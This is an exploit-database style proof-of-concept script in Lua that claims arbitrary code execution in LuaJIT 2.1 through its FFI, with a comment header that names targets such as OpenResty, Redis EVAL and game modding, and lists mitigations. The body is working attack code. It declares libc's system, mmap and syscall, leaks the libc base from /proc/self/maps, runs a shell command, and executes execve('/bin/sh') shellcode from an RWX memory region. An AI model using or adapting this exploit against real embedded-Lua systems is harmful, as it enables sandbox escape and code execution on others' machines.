-- Exploit Title: LuaJIT 2.1.1774638290 - Arbitrary Code Execution
-- Date: 2026-03-29
-- Exploit Author: TaurusOmar
-- Vendor Homepage: https://luajit.org/
-- Software Link: https://luajit.org/download.html
-- Version: LuaJIT 2.1.1774638290 (latest)
-- Tested on: Linux x86-64 (Arch Linux)
-- Description:
-- LuaJIT's Foreign Function Interface (FFI) provides unrestricted access
-- to native C functions including syscall(), mmap(), mprotect() and
-- arbitrary shared library loading. When FFI is accessible to untrusted
-- Lua code in embedding scenarios (OpenResty, Redis, game engines, IoT),
-- an attacker can achieve arbitrary code execution with full process
-- privileges including shellcode execution via mmap(RWX)+ffi.copy()+ffi.cast().
--
-- This affects any application embedding LuaJIT 2.1.x without explicitly
-- disabling FFI (-DLUAJIT_DISABLE_FFI) or removing it from the sandbox
-- environment before executing untrusted scripts.
--
-- Verified on LuaJIT 2.1.1774638290 (March 2026) — latest version.
--
-- Attack scenarios:
-- - OpenResty/Nginx with user-controlled Lua scripts
-- - Redis with exposed EVAL interface
-- - Game engines with Lua modding systems
-- - IoT devices with Lua scripting interface
--
-- Mitigation:
-- - Compile with -DLUAJIT_DISABLE_FFI
-- - Remove 'ffi' from sandbox environment table
-- - Apply OS-level restrictions: seccomp-bpf, AppArmor, namespaces
local ffi = require("ffi")
local bit = require("bit")
ffi.cdef[[
int getpid(void);
long syscall(long number, ...);
int system(const char *command);
void *mmap(void *addr, size_t length, int prot,
int flags, int fd, long offset);
int munmap(void *addr, size_t length);
]]
print("=" .. string.rep("=", 55))
print(" LuaJIT 2.1.x - FFI Unrestricted Syscall Access PoC")
print("=" .. string.rep("=", 55))
-- dlsym resolves libc symbols without restriction
local pid_libc = ffi.C.getpid()
print("\n[1] ffi.C.getpid() via dlsym: " .. pid_libc)
-- Direct kernel syscall channel (SYS_getpid = 39 x86-64)
local pid_sc = tonumber(ffi.C.syscall(39))
print("[2] syscall(39) direct: " .. pid_sc)
if pid_libc == pid_sc then
print("[+] Both channels confirmed active\n")
end
-- ASLR bypass via /proc/self/maps
local f = io.open("/proc/self/maps", "r")
for line in f:lines() do
if line:find("libc.so") and line:find("r--p") then
local base = tonumber("0x" .. line:match("^(%x+)"))
print("[3] libc base (ASLR bypass): 0x" .. string.format("%x", base))
break
end
end
f:close()
-- Arbitrary command execution
print("[4] ffi.C.system('id'):")
ffi.C.system("id")
-- Shellcode execution via mmap(RWX)
print("\n[5] Shellcode execution via mmap(RWX):")
local PROT_RWX = bit.bor(1, 2, 4)
local MAP_FLAGS = bit.bor(0x02, 0x20)
-- x86-64 execve("/bin/sh", NULL, NULL) - syscall 59
local shellcode =
"\x48\x31\xd2"
.. "\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00"
.. "\x53"
.. "\x48\x89\xe7"
.. "\x48\x31\xf6"
.. "\x48\x31\xc0"
.. "\xb0\x3b"
.. "\x0f\x05"
local mem = ffi.C.mmap(nil, 4096, PROT_RWX, MAP_FLAGS, -1, 0)
if ffi.cast("long", mem) ~= -1 then
print(" RWX region: 0x" .. string.format("%x", ffi.cast("unsigned long", mem)))
ffi.copy(mem, shellcode, #shellcode)
print(" Shellcode written. Executing execve('/bin/sh')...")
local fn = ffi.cast("void(*)(void)", mem)
fn()
end